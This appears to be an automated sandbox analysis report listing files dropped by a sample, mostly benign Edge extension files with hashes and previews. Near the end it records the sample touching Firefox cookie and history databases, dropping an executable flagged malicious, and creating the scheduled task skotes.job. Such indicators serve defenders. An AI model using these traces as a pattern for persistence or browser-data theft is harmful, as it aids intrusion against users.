Preview:	{"createnew":{"message":"DALA ENTSHA"},"explanationofflinedisabled":{"message":"Awuxhunyiwe ku-inthanethi. Ukuze usebenzise i-Google Amadokhumenti ngaphandle koxhumano lwe-inthanethi, iya kokuthi izilungiselelo ekhasini lasekhaya le-Google Amadokhumenti bese uvula ukuvumelanisa okungaxhunyiwe ku-inthanethi ngesikhathi esilandelayo lapho uxhunywe ku-inthanethi."},"explanationofflineenabled":{"message":"Awuxhunyiwe ku-inthanethi, kodwa usangakwazi ukuhlela amafayela atholakalayo noma udale amasha."},"extdesc":{"message":"Hlela, dala, futhi ubuke amadokhumenti akho, amaspredishithi, namaphrezentheshini \u2014 konke ngaphandle kokufinyelela kwe-inthanethi."},"extname":{"message":"I-Google Amadokhumenti engaxhumekile ku-intanethi"},"learnmore":{"message":"Funda kabanzi"},"popuphelptext":{"message":"Bhala, hlela, futhi hlanganyela noma yikuphi lapho okhona, unalo noma ungenalo uxhumano lwe-inthanethi."}}.

C:\Users\user\AppData\Local\Temp\scoped_dir7648_1781357332\CRX_INSTALL\_metadata\verified_contents.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	11280
Entropy (8bit):	5.752941882424501
Encrypted:	false
SSDEEP:	192:RBG1G1UPkUj/86Op//Ier/2nsNLJtwg+K8HNnswuHEIIMuuqd7CKqvVpfcNLFev:m8IEI4u8ROxev
MD5:	F897300492E3AB467E56883D23D02D77
SHA1:	DECD6DC9E70ECCF9B45983147680614C019B99EA
SHA-256:	F9B3A5747DEDCB5AED58FCFC0F4FD3BD2F2E903F2CCEF90A92A73DBC0F8C3DBD
SHA-512:	B8AC574E24814BAF04A264E7F3F00B4285CD7B66104DFC77897440A898FCA5230775300EC7DEF723678975A04C2CD1BC73A44F77DA26262E8704029930990C62
Malicious:	false
Preview:	[{"description":"treehash per file","signed_content":{"payload":"eyJjb250ZW50X2hhc2hlcyI6W3siYmxvY2tfc2l6ZSI6NDA5NiwiZGlnZXN0Ijoic2hhMjU2IiwiZmlsZXMiOlt7InBhdGgiOiIxMjgucG5nIiwicm9vdF9oYXNoIjoiZ2NWZy0xWWgySktRNVFtUmtjZGNmamU1dzVIc1JNN1ZCTmJyaHJ4eGZ5ZyJ9LHsicGF0aCI6Il9sb2NhbGVzL2FmL21lc3NhZ2VzLmpzb24iLCJyb290X2hhc2giOiJxaElnV3hDSFVNLWZvSmVFWWFiWWlCNU9nTm9ncUViWUpOcEFhZG5KR0VjIn0seyJwYXRoIjoiX2xvY2FsZXMvYW0vbWVzc2FnZXMuanNvbiIsInJvb3RfaGFzaCI6IlpPQWJ3cEs2THFGcGxYYjh4RVUyY0VkU0R1aVY0cERNN2lEQ1RKTTIyTzgifSx7InBhdGgiOiJfbG9jYWxlcy9hci9tZXNzYWdlcy5qc29uIiwicm9vdF9oYXNoIjoiUjJVaEZjdTVFcEJfUUZtU19QeGstWWRrSVZqd3l6WEoxdURVZEMyRE9BSSJ9LHsicGF0aCI6Il9sb2NhbGVzL2F6L21lc3NhZ2VzLmpzb24iLCJyb290X2hhc2giOiJZVVJ3Mmp4UU5Lem1TZkY0YS1xcTBzbFBSSFc4eUlXRGtMY2g4Ry0zdjJRIn0seyJwYXRoIjoiX2xvY2FsZXMvYmUvbWVzc2FnZXMuanNvbiIsInJvb3RfaGFzaCI6IjNmRm9XYUZmUHJNelRXSkJsMXlqbUlyRDZ2dzlsa1VxdzZTdjAyUk1oVkEifSx7InBhdGgiOiJfbG9jYWxlcy9iZy9tZXNzYWdlcy5qc29uIiwicm9vdF9oYXNoIjoiSXJ3M3RIem9xREx6bHdGa0hjTllOWFoyNmI0WWVwT2t4ZFN

C:\Users\user\AppData\Local\Temp\scoped_dir7648_1781357332\CRX_INSTALL\dasherSettingSchema.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	854
Entropy (8bit):	4.284628987131403
Encrypted:	false
SSDEEP:	12:ont+QByTwnnGNcMbyWM+Q9TZldnnnGGxlF/S0WOtUL0M0r:vOrGe4dDCVGOjWJ0nr
MD5:	4EC1DF2DA46182103D2FFC3B92D20CA5
SHA1:	FB9D1BA3710CF31A87165317C6EDC110E98994CE
SHA-256:	6C69CE0FE6FAB14F1990A320D704FEE362C175C00EB6C9224AA6F41108918CA6
SHA-512:	939D81E6A82B10FF73A35C931052D8D53D42D915E526665079EEB4820DF4D70F1C6AEBAB70B59519A0014A48514833FEFD687D5A3ED1B06482223A168292105D
Malicious:	false
Preview:	{. "type": "object",. "properties": {. "allowedDocsOfflineDomains": {. "type": "array",. "items": {. "type": "string". },. "title": "Allow users to enable Docs offline for the specified managed domains.",. "description": "Users on managed devices will be able to enable docs offline if they are part of the specified managed domains.". },. "autoEnabledDocsOfflineDomains": {. "type": "array",. "items": {. "type": "string". },. "title": "Auto enable Docs offline for the specified managed domains in certain eligible situations.",. "description": "Users on managed devices, in certain eligible situations, will be able to automatically access and edit recent files offline for the managed domains set in this property. They can still disable it from Drive settings.". }. }.}.

C:\Users\user\AppData\Local\Temp\scoped_dir7648_1781357332\CRX_INSTALL\manifest.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2525
Entropy (8bit):	5.417781191647272
Encrypted:	false
SSDEEP:	24:1HEZ4WPoolELb/KxktGw3VwELb/4iL2QDkUpvdz1xxy/Atj1H9yiVvQe:WdP5aLTKQGwlTLT4oRvvxs/APHgiVb
MD5:	35068E2550395A8A3E74558F2F4658DA
SHA1:	BD6620054059BFB7A27A4FFF86B9966727F2C2B9
SHA-256:	E2F418C816895E830541F48C0406B9398805E88B61A4EC816244154CD793743C
SHA-512:	4BCB971D7353648ABF25ACA7A4A4771F62BBB76F8FC13BDE886F29826D9314F5101942492004FC719493604D317958B63A95CF5173F8180214F27D6BEA303F97
Malicious:	false
Preview:	{.. "author": {.. "email": "docs-hosted-app-own@google.com".. },.. "background": {.. "service_worker": "service_worker_bin_prod.js".. },.. "content_capabilities": {.. "matches": [ "https://docs.google.com/", "https://drive.google.com/", "https://drive-autopush.corp.google.com/", "https://drive-daily-0.corp.google.com/", "https://drive-daily-1.corp.google.com/", "https://drive-daily-2.corp.google.com/", "https://drive-daily-3.corp.google.com/", "https://drive-daily-4.corp.google.com/", "https://drive-daily-5.corp.google.com/", "https://drive-daily-6.corp.google.com/", "https://drive-preprod.corp.google.com/", "https://drive-staging.corp.google.com/" ],.. "permissions": [ "clipboardRead", "clipboardWrite", "unlimitedStorage" ].. },.. "content_security_policy": {.. "extension_pages": "script-src 'self'; object-src 'self'".. },.. "default_locale": "en_US",.. "description": "__MSG_extDesc__",.. "externally_connectable": {.. "ma

C:\Users\user\AppData\Local\Temp\scoped_dir7648_1781357332\CRX_INSTALL\offscreendocument.html

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	HTML document, ASCII text
Category:	dropped
Size (bytes):	97
Entropy (8bit):	4.862433271815736
Encrypted:	false
SSDEEP:	3:PouV7uJL5XL/oGLvLAAJR90bZNGXIL0Hac4NGb:hxuJL5XsOv0EmNV4HX4Qb
MD5:	B747B5922A0BC74BBF0A9BC59DF7685F
SHA1:	7BF124B0BE8EE2CFCD2506C1C6FFC74D1650108C
SHA-256:	B9FA2D52A4FFABB438B56184131B893B04655B01F336066415D4FE839EFE64E7
SHA-512:	7567761BE4054FCB31885E16D119CD4E419A423FFB83C3B3ED80BFBF64E78A73C2E97AAE4E24AB25486CD1E43877842DB0836DB58FBFBCEF495BC53F9B2A20EC
Malicious:	false
Preview:	<!DOCTYPE html>.<html>.<body>. <script src="offscreendocument_main.js"></script>.</body>.</html>

C:\Users\user\AppData\Local\Temp\scoped_dir7648_1781357332\CRX_INSTALL\offscreendocument_main.js

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text, with very long lines (3700)
Category:	dropped
Size (bytes):	95606
Entropy (8bit):	5.405749379350638
Encrypted:	false
SSDEEP:	1536:rFTnpa+88KmEfryTdXPVy0d8RZZ0Qk4CWbsnf29Gmyj9tIRRduRnCrl:almPXPVCFCWbsnDVQRwF0l
MD5:	9D0EF4F7CB0306DCB7A7CDCD6DC2CCC7
SHA1:	88D7F0A88C5807BFE00F13B612CC0522EEBE514A
SHA-256:	E5E4392B21A21ECAFD27707BF70F95961B2656735A20B40BA54479D40EAB063C
SHA-512:	34CD9AF9199DE606A531E98DB82BEAA5552E59BCCB2AB2BF49F82D6FA05425EB6936BC5F03BFC421AB6980B91395D9FDC5F0776882E1D49B3217CD35641FF906
Malicious:	false
Preview:	'use strict';function aa(){return function(a){return a}}function ba(){return function(){}}function l(a){return function(){return this[a]}}function ca(a){return function(){return a}}var n;function da(a){var b=0;return function(){return b<a.length?{done:!1,value:a[b++]}:{done:!0}}}var ea=typeof Object.defineProperties=="function"?Object.defineProperty:function(a,b,c){if(a==Array.prototype\|\|a==Object.prototype)return a;a[b]=c.value;return a};.function fa(a){a=["object"==typeof globalThis&&globalThis,a,"object"==typeof window&&window,"object"==typeof self&&self,"object"==typeof global&&global];for(var b=0;b<a.length;++b){var c=a[b];if(c&&c.Math==Math)return c}throw Error("Cannot find global object");}var q=fa(this);function r(a,b){if(b)a:{var c=q;a=a.split(".");for(var d=0;d<a.length-1;d++){var e=a[d];if(!(e in c))break a;c=c[e]}a=a[a.length-1];d=c[a];b=b(d);b!=d&&b!=null&&ea(c,a,{configurable:!0,writable:!0,value:b})}}.r("Symbol",function(a){function b(f){if(this instanceof b)throw new Ty

C:\Users\user\AppData\Local\Temp\scoped_dir7648_1781357332\CRX_INSTALL\page_embed_script.js

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	291
Entropy (8bit):	4.65176400421739
Encrypted:	false
SSDEEP:	6:2LGX86tj66rU8j6D3bWq2un/XBtzHrH9Mnj63LK603:2Q8KVqb2u/Rt3Onj1
MD5:	3AB0CD0F493B1B185B42AD38AE2DD572
SHA1:	079B79C2ED6F67B5A5BD9BC8C85801F96B1B0F4B
SHA-256:	73E3888CCBC8E0425C3D2F8D1E6A7211F7910800EEDE7B1E23AD43D3B21173F7
SHA-512:	32F9DB54654F29F39D49F7A24A1FC800DBC0D4A8A1BAB2369C6F9799BC6ADE54962EFF6010EF6D6419AE51D5B53EC4B26B6E2CDD98DEF7CC0D2ADC3A865F37D3
Malicious:	false
Preview:	(function(){window._docs_chrome_extension_exists=!0;window._docs_chrome_extension_features_version=2;window._docs_chrome_extension_permissions="alarms clipboardRead clipboardWrite storage unlimitedStorage offscreen".split(" ");window._docs_chrome_extension_manifest_version=3;}).call(this);.

C:\Users\user\AppData\Local\Temp\scoped_dir7648_1781357332\CRX_INSTALL\service_worker_bin_prod.js

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text, with very long lines (3705)
Category:	dropped
Size (bytes):	104595
Entropy (8bit):	5.385879258644142
Encrypted:	false
SSDEEP:	1536:CvBfoqPByzpq7Wj3X5GtH2n4JvHDxwKMpFs0vuFfkR/2oTnHu96Iny0Kj2ThzfS:BlXQtoZrs0vskDTHu9rhTS
MD5:	4E0C47897BF98DEAC56F800942E150C4
SHA1:	7903D30E0ACEE273724BDAA67446D9FD4E8460A5
SHA-256:	FE76EA0C2F81E6140F38F4143B40BE85014B93FF80737600CFB39AEB5C8C6537
SHA-512:	8B31463FC683439BAB5D4AEFE2BE0F6A9F5B695C2D95AFF3F842BFC74B10AE3D386D288121161506F74A08FB86D25C1096DA4177B768254BF84E83983982640F
Malicious:	false
Preview:	'use strict';function aa(){return function(){}}function k(a){return function(){return this[a]}}function ba(a){return function(){return a}}var n;function ca(a){var b=0;return function(){return b<a.length?{done:!1,value:a[b++]}:{done:!0}}}var da=typeof Object.defineProperties=="function"?Object.defineProperty:function(a,b,c){if(a==Array.prototype\|\|a==Object.prototype)return a;a[b]=c.value;return a};.function ea(a){a=["object"==typeof globalThis&&globalThis,a,"object"==typeof window&&window,"object"==typeof self&&self,"object"==typeof global&&global];for(var b=0;b<a.length;++b){var c=a[b];if(c&&c.Math==Math)return c}throw Error("Cannot find global object");}var q=ea(this);function r(a,b){if(b)a:{var c=q;a=a.split(".");for(var d=0;d<a.length-1;d++){var e=a[d];if(!(e in c))break a;c=c[e]}a=a[a.length-1];d=c[a];b=b(d);b!=d&&b!=null&&da(c,a,{configurable:!0,writable:!0,value:b})}}.r("Symbol",function(a){function b(f){if(this instanceof b)throw new TypeError("Symbol is not a constructor");retu

C:\Users\user\AppData\Local\Temp\scoped_dir7648_1781357332\d821677b-f6ef-40fa-8cbc-aa24772c8138.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	Google Chrome extension, version 3
Category:	dropped
Size (bytes):	135771
Entropy (8bit):	7.802585890890899
Encrypted:	false
SSDEEP:	3072:LtlntxI0jRnnf4pTz8IayMaCRABlauflM+u0F/oWRW:pl4+hf4pTky1EABYufNFS4W
MD5:	DA75BB05D10ACC967EECAAC040D3D733
SHA1:	95C08E067DF713AF8992DB113F7E9AEC84F17181
SHA-256:	33AE9B8F06DC777BB1A65A6BA6C3F2A01B25CD1AFC291426B46D1DF27EA6E7E2
SHA-512:	56533DE53872F023809A20D1EA8532CDC2260D40B05C5A7012C8E61576FF092F006A197F759C92C6B8C429EEEC4BB542073B491DDCFD5B22CD4ECBE1A8A7C6EF
Malicious:	false
Preview:	Cr24..............0.."0....H.............0.........^...1"...w.g..t..2J.G1.)X4..=&.?[j,Lz..j.u.e[I.qBa/X...P.h..L.....2%3_o.......H.)'.=.e...?.......j..3UH.\|.X.M..u..s[...?$....F%....I....)..,-./.e5).f..O.q.^........9..(.._.ph2..^.YBPXf_8....h[.v...S.1`.#..5.SF.:f-.#.65.i..b.]9...y2.'....k[...........=.B.../EYp....i:........ua....w...\H.j....b....4...l.b.:u.%1z....}L.A.F.IZ.2^.j...!F.&@;L..z...02..`:J_@....m....qcQ.\|sD.r`vC.#.8lm...R.8.~A...."~)".[.M...o.a.H.$..(.d/.K.6......c........#.$..>.#..3..-...n4J.$-....N...s.G...3..q.e..(.B?."...9M......[0Y0....H.=....*.H.=....B..............r...2..+Y.I...k..bR.j5Sl..8.......H"i.-l..`.Q.{...H0F.!..w./B..$<......r-.'..xp.H..Q...8.!..R^...%..W0....q....g.D..~.".%............mo.:......<#a..e...Chp...x4z....!.!.a...qgo....p8.T.6...Z....?..CV...<..K...?....k..........q=....Y^........!..K...G...m.n..Y.Y.......u.Wf...TO".?.......U/Rd..Y....j....H..Q...{.....x.OQ.~+}...L.9_.:.,E.....q.0&...I;b..H...>...9.}.B

C:\Users\user\AppData\Local\Temp\scoped_dir7648_229162099\CRX_INSTALL\_metadata\verified_contents.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1753
Entropy (8bit):	5.8889033066924155
Encrypted:	false
SSDEEP:	48:Pxpr7Xka2NXDpfsBJODI19Kg1JqcJW9O//JE3ZBDcpu/x:L3XgNSz9/4kIO3u3Xgpq
MD5:	738E757B92939B24CDBBD0EFC2601315
SHA1:	77058CBAFA625AAFBEA867052136C11AD3332143
SHA-256:	D23B2BA94BA22BBB681E6362AE5870ACD8A3280FA9E7241B86A9E12982968947
SHA-512:	DCA3E12DD5A9F1802DB6D11B009FCE2B787E79B9F730094367C9F26D1D87AF1EA072FF5B10888648FB1231DD83475CF45594BB0C9915B655EE363A3127A5FFC2
Malicious:	false
Preview:	[.. {.. "description": "treehash per file",.. "signed_content": {.. "payload": "eyJpdGVtX2lkIjoiam1qZmxnanBjcGVwZWFmbW1nZHBma29na2doY3BpaGEiLCJpdGVtX3ZlcnNpb24iOiIxLjIuMSIsInByb3RvY29sX3ZlcnNpb24iOjEsImNvbnRlbnRfaGFzaGVzIjpbeyJmb3JtYXQiOiJ0cmVlaGFzaCIsImRpZ2VzdCI6InNoYTI1NiIsImJsb2NrX3NpemUiOjQwOTYsImhhc2hfYmxvY2tfc2l6ZSI6NDA5NiwiZmlsZXMiOlt7InBhdGgiOiJjb250ZW50LmpzIiwicm9vdF9oYXNoIjoiQS13R1JtV0VpM1lybmxQNktneUdrVWJ5Q0FoTG9JZnRRZGtHUnBEcnp1QSJ9LHsicGF0aCI6ImNvbnRlbnRfbmV3LmpzIiwicm9vdF9oYXNoIjoiVU00WVRBMHc5NFlqSHVzVVJaVTFlU2FBSjFXVENKcHhHQUtXMGxhcDIzUSJ9LHsicGF0aCI6Im1hbmlmZXN0Lmpzb24iLCJyb290X2hhc2giOiJKNXYwVTkwRmN0ejBveWJMZmZuNm5TbHFLU0h2bHF2YkdWYW9FeWFOZU1zIn1dfV19",.. "signatures": [.. {.. "header": {.. "kid": "publisher".. },.. "protected": "eyJhbGciOiJSUzI1NiJ9",.. "signature": "UglEEilkOml5P1W0X6wc-_dB87PQB73uMir11923av57zPKujb4IUe_lbGpn7cRZsy6x-8i9eEKxAW7L2TSmYqrcp4XtiON6ppcf27FWACXOUJDax9wlMr-EOtyZhykCnB9vR

C:\Users\user\AppData\Local\Temp\scoped_dir7648_229162099\CRX_INSTALL\content.js

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	Unicode text, UTF-8 text, with very long lines (8031), with no line terminators
Category:	dropped
Size (bytes):	9815
Entropy (8bit):	6.1716321262973315
Encrypted:	false
SSDEEP:	192:+ThBV4L3npstQp6VRtROQGZ0UyVg4jq4HWeGBnUi65Ep4HdlyKyjFN3zEScQZBMX:+ThBVq3npozftROQIyVfjRZGB365Ey97
MD5:	3D20584F7F6C8EAC79E17CCA4207FB79
SHA1:	3C16DCC27AE52431C8CDD92FBAAB0341524D3092
SHA-256:	0D40A5153CB66B5BDE64906CA3AE750494098F68AD0B4D091256939EEA243643
SHA-512:	315D1B4CC2E70C72D7EB7D51E0F304F6E64AC13AE301FD2E46D585243A6C936B2AD35A0964745D291AE9B317C316A29760B9B9782C88CC6A68599DB531F87D59
Malicious:	false
Preview:	(()=>{"use strict";var e={1:(e,o)=>{Object.defineProperty(o,"__esModule",{value:!0}),o.newCwsPromotionalButtonCta=o.chromeToEdgeCwsButtonCtaMapping=void 0,o.chromeToEdgeCwsButtonCtaMapping={"...... ... Chrome":"...... ....","........ .. Chrome":".....",........:"..........",".......... .. Chrome":"..........","Chrome . .....":"...","Chrome .... ....":"....","Afegeix a Chrome":"Obt.n","Suprimeix de Chrome":"Suprimeix","P.idat do Chromu":"Z.skat","Odstranit z Chromu":"Odebrat","F.j til Chrome":"F.","Fjern fra Chrome":"Fjerne",Hinzuf.gen:"Abrufen","Aus Chrome entfernen":"Entfernen","Add to Chrome":"Get","Remove from Chrome":"Remove","A.adir a Chrome":"Obtener",Desinstalar:"Quitar","Agregar a Chrome":"Obtener","Eliminar de Chrome":"Quitar","Lisa Chrome'i":"Hangi","Chrome'ist eemaldamine":"Eemalda",.......H:"........","......... ... .. Chr

C:\Users\user\AppData\Local\Temp\scoped_dir7648_229162099\CRX_INSTALL\content_new.js

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	Unicode text, UTF-8 text, with very long lines (8604), with no line terminators
Category:	dropped
Size (bytes):	10388
Entropy (8bit):	6.174387413738973
Encrypted:	false
SSDEEP:	192:+ThBV4L3npstQp6VRtROQGZ0UyVg4jq4HWeGBnUi65Ep4HdlyKyjFN3EbmE1F4fn:+ThBVq3npozftROQIyVfjRZGB365Ey9+
MD5:	3DE1E7D989C232FC1B58F4E32DE15D64
SHA1:	42B152EA7E7F31A964914F344543B8BF14B5F558
SHA-256:	D4AA4602A1590A4B8A1BCE8B8D670264C9FB532ADC97A72BC10C43343650385A
SHA-512:	177E5BDF3A1149B0229B6297BAF7B122602F7BD753F96AA41CCF2D15B2BCF6AF368A39BB20336CCCE121645EC097F6BEDB94666C74ACB6174EB728FBFC43BC2A
Malicious:	false
Preview:	(()=>{"use strict";var e={1:(e,o)=>{Object.defineProperty(o,"__esModule",{value:!0}),o.newCwsPromotionalButtonCta=o.chromeToEdgeCwsButtonCtaMapping=void 0,o.chromeToEdgeCwsButtonCtaMapping={"...... ... Chrome":"...... ....","........ .. Chrome":".....",........:"..........",".......... .. Chrome":"..........","Chrome . .....":"...","Chrome .... ....":"....","Afegeix a Chrome":"Obt.n","Suprimeix de Chrome":"Suprimeix","P.idat do Chromu":"Z.skat","Odstranit z Chromu":"Odebrat","F.j til Chrome":"F.","Fjern fra Chrome":"Fjerne",Hinzuf.gen:"Abrufen","Aus Chrome entfernen":"Entfernen","Add to Chrome":"Get","Remove from Chrome":"Remove","A.adir a Chrome":"Obtener",Desinstalar:"Quitar","Agregar a Chrome":"Obtener","Eliminar de Chrome":"Quitar","Lisa Chrome'i":"Hangi","Chrome'ist eemaldamine":"Eemalda",.......H:"........","......... ... .. Chr

C:\Users\user\AppData\Local\Temp\scoped_dir7648_229162099\CRX_INSTALL\manifest.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	962
Entropy (8bit):	5.698567446030411
Encrypted:	false
SSDEEP:	24:1Hg9+D3DRnbuF2+sUrzUu+Y9VwE+Fg41T1O:NBqY+6E+F7JO
MD5:	E805E9E69FD6ECDCA65136957B1FB3BE
SHA1:	2356F60884130C86A45D4B232A26062C7830E622
SHA-256:	5694C91F7D165C6F25DAF0825C18B373B0A81EA122C89DA60438CD487455FD6A
SHA-512:	049662EF470D2B9E030A06006894041AE6F787449E4AB1FBF4959ADCB88C6BB87A957490212697815BB3627763C01B7B243CF4E3C4620173A95795884D998A75
Malicious:	false
Preview:	{.. "content_scripts": [ {.. "js": [ "content.js" ],.. "matches": [ "https://chrome.google.com/webstore/" ].. }, {.. "js": [ "content_new.js" ],.. "matches": [ "https://chromewebstore.google.com/" ].. } ],.. "description": "Edge relevant text changes on select websites to improve user experience and precisely surfaces the action they want to take.",.. "key": "MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEAu06p2Mjoy6yJDUUjCe8Hnqvtmjll73XqcbylxFZZWe+MCEAEK+1D0Nxrp0+IuWJL02CU3jbuR5KrJYoezA36M1oSGY5lIF/9NhXWEx5GrosxcBjxqEsdWv/eDoOOEbIvIO0ziMv7T1SUnmAA07wwq8DXWYuwlkZU/PA0Mxx0aNZ5+QyMfYqRmMpwxkwPG8gyU7kmacxgCY1v7PmmZo1vSIEOBYrxl064w5Q6s/dpalSJM9qeRnvRMLsszGY/J2bjQ1F0O2JfIlBjCOUg/89+U8ZJ1mObOFrKO4um8QnenXtH0WGmsvb5qBNrvbWNPuFgr2+w5JYlpSQ+O8zUCb8QZwIDAQAB",.. "manifest_version": 3,.. "name": "Edge relevant text changes",.. "update_url": "https://edge.microsoft.com/extensionwebstorebase/v1/crx",.. "version": "1.2.1"..}..

C:\Users\user\AppData\Local\Temp\scoped_dir7648_229162099\a8cb4cff-cded-44b7-8c4e-7cd30eab222a.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	Google Chrome extension, version 3
Category:	dropped
Size (bytes):	11185
Entropy (8bit):	7.951995436832936
Encrypted:	false
SSDEEP:	192:YEKh1jNlwQbamjq6Bcykrs3kAVg55GzVQM5F+XwsxNv7/lsoltBq0WG4ZeJTmrRb:fKT/BAzA05Gn5F+XV7NNltrWG4kJTm1b
MD5:	78E47DDA17341BED7BE45DCCFD89AC87
SHA1:	1AFDE30E46997452D11E4A2ADBBF35CCE7A1404F
SHA-256:	67D161098BE68CD24FEBC0C7B48F515F199DDA72F20AE3BBB97FCF2542BB0550
SHA-512:	9574A66D3756540479DC955C4057144283E09CAE11CE11EBCE801053BB48E536E67DC823B91895A9E3EE8D3CB27C065D5E9030C39A26CBF3F201348385B418A5
Malicious:	false
Preview:	Cr24..............0.."0....H.............0.........N.......E#......9e.u.q...VYY..@.+.C..k.O..bK.`..6.G..%.....3Z...e _.6....F..1p..K.Z......./ .3...OT..`..0...Y...FT..43.th.y...}....p.L...2S.&i.`..o...f.oH.....N..:..ijT.3.F{.0.,.f?'f.CQt;b_"Pc.. ..~S.I.c.8Z.;.....{G.a......k...>.`.o..%.$>;.....g.............jg?.R..@.:..........&..{...x@.Py..;kT....%F".S..w...N....9...A..@X.t!i.@..1;......1E..X.....[.~$....J......;=T.;)k..Y...$......S......M.P..P..>..=..u.....2p...w.9..1qw.a\A..Vj .C.....A..Cf1.r6.A...L. _m...[..l.Wr_../.. .B..9!.!+..ZG.K.......0.."0....H.............0.........^SUd%Q.L].......Cl2o...\[.....'*...;R=....N.C5....d. .....J.C>u.kr..Y..syJC.XS.q..E.n?....(G.5..)2.G..!.M.SS.{..U....!.EE..M[.#qs.A.1...g)nQ.c..G....Bd..7... .O.BI..KXQ..4.d.K.0......g.....-p....Z.E{...M&.~n.TE7..{0....5.#.C+3.y)pd9.e.........@..3.9..B.....I....2nX........2.?.~..S....]G.N.....Lr.O.Ve....9..D1.G..W)...P.?=.#..7.R.lz..a.wX.e..h.h.~....v..RP.@X....d.G

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\cookies.sqlite-shm

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	data
Category:	dropped
Size (bytes):	32768
Entropy (8bit):	0.017262956703125623
Encrypted:	false
SSDEEP:	3:G8lQs2TSlElQs2TtPRp//:G0QjSaQjrpX
MD5:	B7C14EC6110FA820CA6B65F5AEC85911
SHA1:	608EEB7488042453C9CA40F7E1398FC1A270F3F4
SHA-256:	FD4C9FDA9CD3F9AE7C962B0DDF37232294D55580E1AA165AA06129B8549389EB
SHA-512:	D8D75760F29B1E27AC9430BC4F4FFCEC39F1590BE5AEF2BFB5A535850302E067C288EF59CF3B2C5751009A22A6957733F9F80FA18F2B0D33D90C068A3F08F3B0
Malicious:	false
Preview:	..-.....................................8...5.....-.....................................8...5...........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\places.sqlite-shm

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	data
Category:	dropped
Size (bytes):	32768
Entropy (8bit):	0.017262956703125623
Encrypted:	false
SSDEEP:	3:G8lQs2TSlElQs2TtPRp//:G0QjSaQjrpX
MD5:	B7C14EC6110FA820CA6B65F5AEC85911
SHA1:	608EEB7488042453C9CA40F7E1398FC1A270F3F4
SHA-256:	FD4C9FDA9CD3F9AE7C962B0DDF37232294D55580E1AA165AA06129B8549389EB
SHA-512:	D8D75760F29B1E27AC9430BC4F4FFCEC39F1590BE5AEF2BFB5A535850302E067C288EF59CF3B2C5751009A22A6957733F9F80FA18F2B0D33D90C068A3F08F3B0
Malicious:	false
Preview:	..-.....................................8...5.....-.....................................8...5...........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\DocumentsIDGIJEGHDA.exe

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	1921024
Entropy (8bit):	7.947511529541578
Encrypted:	false
SSDEEP:	49152:3e5Ebzx7M3UNnCaj92gkM51o8yxW1GgHfW/EG/pG:u5EbO3UNnCk9Dhhr1GMgrp
MD5:	0E21EAF5F28B78B503C0C0C7BE26AD44
SHA1:	F2B76BC2A40747DE4FDFF439900CCAC3D0F93BC7
SHA-256:	CD4CFD58607B5BF73785BC935A34D8AE19CFFED6CEDDC43142AA986809B3BE30
SHA-512:	CB5C26222F71FDDAAB65C606C55318DFECE1BDF77BC9726354D4E78D0A868100DA8068B40362C45C82F41CC97214F371ACF896B7746BE81C3150AB6C4FFE6390
Malicious:	true
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........-I..C...C...C...@...C...F.B.C.6.G...C.6.@...C.6.F...C...G...C...B...C...B.5.C.x.J...C.x.....C.x.A...C.Rich..C.........................PE..L....V.f.............................0L...........@..........................`L.....Qu....@.................................W...k.......H...................,.L...............................L..................................................... . ............................@....rsrc...H...........................@....idata ............................@... .0+.........................@...cpijmpsi.@....1..2..................@...lipnutuu..... L......(..............@....taggant.0...0L.."..................@...................................................................................................................................................................................................................

C:\Windows\Tasks\skotes.job

Download File

Process:	C:\Users\user\DocumentsIDGIJEGHDA.exe
File Type:	data
Category:	dropped
Size (bytes):	306
Entropy (8bit):	3.4508021830247864
Encrypted:	false
SSDEEP:	6:X5uAl/DZXUKJUEZ+lX1CGdKUe6tcVAkXIEZ8MlW8+y0lB3ll4t0:puAJlvJQ1CGAFMkXd8kX+VB3gt0
MD5:	229D26D01C50145E5AD960CFA093DC33
SHA1:	A17E960936988D48D98E4D04B5A98A4E3410DA4F
SHA-256:	EC3E7A0374C2FEA4EA967AEE8DFA8C335899CDDF6E2E06D064BF25436C703747
SHA-512:	0B433445C6AB0A01E4A9AEEF41424784C368D9074BC84A1419F2DE460BD631B8F28D6091820FEF61885BB0F074EB8B1A66F22949DBF6516341BC0E19A525DF7E
Malicious:	false
